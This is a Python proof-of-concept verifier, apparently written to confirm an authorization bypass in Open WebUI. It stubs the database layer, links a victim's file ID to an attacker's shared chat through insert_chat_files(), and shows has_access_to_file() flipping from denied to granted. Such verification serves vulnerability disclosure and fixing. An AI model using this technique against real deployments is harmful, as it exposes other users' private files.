#!/usr/bin/env python3
"""
Verifier for chat-file link authorization bypass.
This intentionally avoids the app DB because the local Python 3.13 async SQLite
stack hangs in this checkout. It still executes Open WebUI's real
has_access_to_file() implementation, with fake model adapters standing in for
the DB tables.
"""
from __future__ import annotations
import asyncio
import json
import os
import sys
import types
from pathlib import Path
from types import SimpleNamespace
def prepare_imports() -> None:
repo_root = Path(__file__).resolve().parents[1]
sys.path.insert(0, str(repo_root / "backend"))
os.environ["VECTOR_DB"] = "none"
class DummyTyper:
def command(self, *args, **kwargs):
return lambda fn: fn
sys.modules.setdefault(
"typer",
types.SimpleNamespace(
Typer=lambda *args, **kwargs: DummyTyper(),
Option=lambda *args, **kwargs: None,
echo=lambda *args, **kwargs: None,
Exit=Exception,
),
)
sys.modules.setdefault("uvicorn", types.SimpleNamespace(run=lambda *args, **kwargs: None))
class FakeFiles:
async def get_file_by_id(self, file_id, db=None):
if file_id == "victim-file":
return SimpleNamespace(
id="victim-file",
user_id="victim",
meta={},
)
return None
class FakeKnowledges:
async def get_knowledges_by_file_id(self, file_id, db=None):
return []
class FakeGroups:
async def get_groups_by_member_id(self, user_id, db=None):
return []
class FakeChannels:
async def get_channels_by_file_id_and_user_id(self, file_id, user_id, db=None):
return []
class FakeModels:
async def get_models_by_user_id(self, user_id, permission="read", db=None):
return []
class FakeChats:
def __init__(self, linked: bool):
self.linked = linked
async def get_shared_chat_ids_by_file_id(self, file_id, db=None):
if self.linked and file_id == "victim-file":
# This mirrors a chat_file row tying victim-file to the attacker's
# shared chat. The real insertion sink is Chats.insert_chat_files().
return ["attacker-chat"]
return []
class FakeAccessGrants:
def __init__(self, granted: bool):
self.granted = granted
async def has_access(self, *args, **kwargs):
return False
async def get_accessible_resource_ids(
self,
user_id,
resource_type,
resource_ids,
permission="read",
user_group_ids=None,
db=None,
):
if (
self.granted
and user_id == "attacker"
and resource_type == "shared_chat"
and "attacker-chat" in resource_ids
and permission == "read"
):
return {"attacker-chat"}
return set()
class FakeDb:
def __init__(self):
self.added = []
self.committed = False
def add_all(self, rows):
self.added.extend(rows)
async def commit(self):
self.committed = True
class FakeDbContext:
def __init__(self, db):
self.db = db
async def __aenter__(self):
return self.db
async def __aexit__(self, exc_type, exc, tb):
return False
async def verify_insert_sink_accepts_victim_file_id():
import open_webui.models.chats as chats_module
fake_db = FakeDb()
chats_table = chats_module.Chats
original_context = chats_module.get_async_db_context
original_existing = chats_table.get_chat_files_by_chat_id_and_message_id
async def fake_existing(self, chat_id, message_id, db=None):
return []
try:
chats_module.get_async_db_context = lambda db=None: FakeDbContext(fake_db)
chats_table.get_chat_files_by_chat_id_and_message_id = types.MethodType(fake_existing, chats_table)
inserted = await chats_table.insert_chat_files(
chat_id="attacker-chat",
message_id="attacker-message",
file_ids=["victim-file"],
user_id="attacker",
)
finally:
chats_module.get_async_db_context = original_context
chats_table.get_chat_files_by_chat_id_and_message_id = original_existing
return {
"insert_returned_rows": bool(inserted),
"db_commit_called": fake_db.committed,
"stored_file_ids": [getattr(row, "file_id", None) for row in fake_db.added],
"stored_chat_ids": [getattr(row, "chat_id", None) for row in fake_db.added],
"stored_user_ids": [getattr(row, "user_id", None) for row in fake_db.added],
}
async def main() -> None:
prepare_imports()
import open_webui.utils.access_control.files as file_acl
attacker = SimpleNamespace(id="attacker", role="user")
original = {
"Files": file_acl.Files,
"Knowledges": file_acl.Knowledges,
"Groups": file_acl.Groups,
"Channels": file_acl.Channels,
"Chats": file_acl.Chats,
"Models": file_acl.Models,
"AccessGrants": file_acl.AccessGrants,
}
try:
file_acl.Files = FakeFiles()
file_acl.Knowledges = FakeKnowledges()
file_acl.Groups = FakeGroups()
file_acl.Channels = FakeChannels()
file_acl.Models = FakeModels()
file_acl.Chats = FakeChats(linked=False)
file_acl.AccessGrants = FakeAccessGrants(granted=False)
before = await file_acl.has_access_to_file("victim-file", "read", attacker)
file_acl.Chats = FakeChats(linked=True)
file_acl.AccessGrants = FakeAccessGrants(granted=True)
after = await file_acl.has_access_to_file("victim-file", "read", attacker)
insert_sink = await verify_insert_sink_accepts_victim_file_id()
result = {
"victim_file_id": "victim-file",
"victim_file_owner": "victim",
"attacker_id": "attacker",
"attacker_owns_file": False,
"insert_sink": insert_sink,
"before_chat_file_link_attacker_can_read": before,
"after_attacker_shared_chat_links_victim_file_attacker_can_read": after,
"confirmed": (
before is False
and after is True
and insert_sink["insert_returned_rows"] is True
and insert_sink["stored_file_ids"] == ["victim-file"]
and insert_sink["stored_user_ids"] == ["attacker"]
),
"sink": "Chats.insert_chat_files() accepts caller-supplied file_ids without checking file ownership/read access",
}
print(json.dumps(result, indent=2, sort_keys=True))
finally:
for name, value in original.items():
setattr(file_acl, name, value)
if __name__ == "__main__":
asyncio.run(main())